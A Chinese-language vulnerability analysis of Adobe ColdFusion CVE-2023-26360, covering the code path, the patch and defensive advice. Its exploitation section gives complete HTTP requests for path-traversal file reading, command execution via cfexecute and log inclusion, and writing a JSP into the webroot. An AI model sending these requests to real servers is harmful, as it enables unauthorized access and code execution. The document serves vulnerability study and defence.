Adobe ColdFusion未授权RCE漏洞分析CVE-2023-26360
字数 1755 2025-08-18 11:36:48

Adobe ColdFusion未授权RCE漏洞分析(CVE-2023-26360)技术文档

漏洞概述

CVE-2023-26360是Adobe ColdFusion中存在的一个未授权远程代码执行(RCE)漏洞,影响以下版本:

  • Adobe ColdFusion 2018版本 < 2018.0.16
  • Adobe ColdFusion 2021版本 < 2021.0.6

该漏洞允许攻击者在无需认证的情况下,通过特制请求实现任意文件读取、文件写入和远程代码执行。

漏洞分析环境

  • 分析版本:Adobe ColdFusion 2018.0.15
  • 漏洞利用入口:/cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/filemanager.cfc

漏洞原理分析

路由处理流程

  1. 请求首先由coldfusion.bootstrap.BootstrapServlet处理
  2. 实际处理类为coldfusion.xml.rpc.CFCServlet
  3. 权限检查存在绕过问题:
    • 使用IPFilterUtils.checkAdminAccess()进行权限检查
    • 检查逻辑使用req.getRequestURI()startsWith()判断
    • 可通过路径变形绕过(如/CFIDE//adminapi)

关键处理流程

  1. GlobalsFilter

    • 初始化请求信息
    • 封装请求数据到不同scope中
  2. ComponentFilter

    • 需要设置_cfclient=true触发漏洞点
    • FilterUtils.GetArgumentCollection(context)处理用户请求数据
    • 存在WDDX反序列化操作(CVE-2023-29300)
    • 数据传递给JSONUtils.deserializeJSON()处理

核心漏洞点

  1. JSONUtils.deserializeJSON()函数:

    • 从用户请求中获取classname参数
    • 传递给TemplateProxyFactory.resolveFile()处理
  2. TemplateProxyFactory.resolveFile()

    • 根据指定路径加载类文件
    • 非标准Java字节码文件会被自动编译
    • 编译后的类继承自coldfusion.runtime.CFPage
    • 最终调用新编译类的runPage()方法
  3. 文件处理特性:

    • 编译后的文件缓存至/app/WEB-INF/cfclasses/目录
    • 支持路径遍历(如../../../../etc/passwd)

CFML语言利用

ColdFusion使用CFML(ColdFusion Markup Language)语言,包含危险函数:

  • 文件操作:<cffile action="write">
  • 命令执行:<cfexecute>
  • 文件读取:<cffile action="read">

漏洞利用方法

任意文件读取

POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/filemanager.cfc?method=foo&_cfclient=true HTTP/1.1
Host: 127.0.0.1:8500
Content-Length: 90
Content-Type: application/x-www-form-urlencoded

_variables={"_metadata":{"classname":"../../../../../../../../../../../../../etc/passwd"}}

命令执行

  1. 写入命令到日志文件:
POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/filemanager.cfc?method=foo&_cfclient=true HTTP/1.1
Host: 127.0.0.1:8500
Content-Type: application/x-www-form-urlencoded

_variables=<cfexecute name='id' outputFile='/tmp/aaa' ></cfexecute>
  1. 执行日志文件中的命令:
POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/filemanager.cfc?method=foo&_cfclient=true HTTP/1.1
Host: 127.0.0.1:8500
Content-Type: application/x-www-form-urlencoded

_variables={"_metadata":{"classname":"../../../../../../../../../../../../../../../../../../../../../../../../../opt/coldfusion/cfusion/logs/coldfusion-out.log","_variables":[]}}

文件写入

  1. 写入文件:
POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/filemanager.cfc?method=foo&_cfclient=true HTTP/1.1
Host: 127.0.0.1:8500
Content-Type: application/x-www-form-urlencoded

_variables=<cfscript>fileWrite('/opt/coldfusion/cfusion/wwwroot/cf_scripts/demo.jsp','<%=233%>');</cfscript>
  1. 执行写入的文件:
POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/filemanager.cfc?method=foo&_cfclient=true HTTP/1.1
Host: 127.0.0.1:8500
Content-Type: application/x-www-form-urlencoded

_variables={"_metadata":{"classname":"../../../../../../../../../../../../../../../../../../../../../../../../../opt/coldfusion/cfusion/logs/coldfusion-out.log","_variables":[]}}

补丁分析

官方修复方式:

  • 限制cfclient请求的文件后缀必须为.cfc
  • 只能请求服务器上已有的cfc文件

防御建议

  1. 及时升级到安全版本:

    • Adobe ColdFusion 2018 >= 2018.0.16
    • Adobe ColdFusion 2021 >= 2021.0.6
  2. 网络层面防护:

    • 限制对/cf_scripts/路径的访问
    • 实施严格的输入验证
  3. 系统层面:

    • 最小化ColdFusion运行权限
    • 定期审计日志文件

参考链接

  1. https://blog.securelayer7.net/unauthorized-rce-in-adobe-coldfusion/
  2. https://attackerkb.com/topics/F36ClHTTIQ/cve-2023-26360/rapid7-analysis
  3. https://shfsec.com/cve-analysis-adobe-coldfusion-from-lfi-to-rce-cve-2023-26359-cve-2023-26360
Adobe ColdFusion未授权RCE漏洞分析(CVE-2023-26360)技术文档 漏洞概述 CVE-2023-26360是Adobe ColdFusion中存在的一个未授权远程代码执行(RCE)漏洞,影响以下版本: Adobe ColdFusion 2018版本 < 2018.0.16 Adobe ColdFusion 2021版本 < 2021.0.6 该漏洞允许攻击者在无需认证的情况下,通过特制请求实现任意文件读取、文件写入和远程代码执行。 漏洞分析环境 分析版本:Adobe ColdFusion 2018.0.15 漏洞利用入口: /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/filemanager.cfc 漏洞原理分析 路由处理流程 请求首先由 coldfusion.bootstrap.BootstrapServlet 处理 实际处理类为 coldfusion.xml.rpc.CFCServlet 权限检查存在绕过问题: 使用 IPFilterUtils.checkAdminAccess() 进行权限检查 检查逻辑使用 req.getRequestURI() 和 startsWith() 判断 可通过路径变形绕过(如 /CFIDE//adminapi ) 关键处理流程 GlobalsFilter : 初始化请求信息 封装请求数据到不同scope中 ComponentFilter : 需要设置 _cfclient=true 触发漏洞点 FilterUtils.GetArgumentCollection(context) 处理用户请求数据 存在WDDX反序列化操作(CVE-2023-29300) 数据传递给 JSONUtils.deserializeJSON() 处理 核心漏洞点 JSONUtils.deserializeJSON() 函数: 从用户请求中获取 classname 参数 传递给 TemplateProxyFactory.resolveFile() 处理 TemplateProxyFactory.resolveFile() : 根据指定路径加载类文件 非标准Java字节码文件会被自动编译 编译后的类继承自 coldfusion.runtime.CFPage 最终调用新编译类的 runPage() 方法 文件处理特性: 编译后的文件缓存至 /app/WEB-INF/cfclasses/ 目录 支持路径遍历(如 ../../../../etc/passwd ) CFML语言利用 ColdFusion使用CFML(ColdFusion Markup Language)语言,包含危险函数: 文件操作: <cffile action="write"> 命令执行: <cfexecute> 文件读取: <cffile action="read"> 漏洞利用方法 任意文件读取 命令执行 写入命令到日志文件: 执行日志文件中的命令: 文件写入 写入文件: 执行写入的文件: 补丁分析 官方修复方式: 限制 cfclient 请求的文件后缀必须为 .cfc 只能请求服务器上已有的cfc文件 防御建议 及时升级到安全版本: Adobe ColdFusion 2018 >= 2018.0.16 Adobe ColdFusion 2021 >= 2021.0.6 网络层面防护: 限制对 /cf_scripts/ 路径的访问 实施严格的输入验证 系统层面: 最小化ColdFusion运行权限 定期审计日志文件 参考链接 https://blog.securelayer7.net/unauthorized-rce-in-adobe-coldfusion/ https://attackerkb.com/topics/F36ClHTTIQ/cve-2023-26360/rapid7-analysis https://shfsec.com/cve-analysis-adobe-coldfusion-from-lfi-to-rce-cve-2023-26359-cve-2023-26360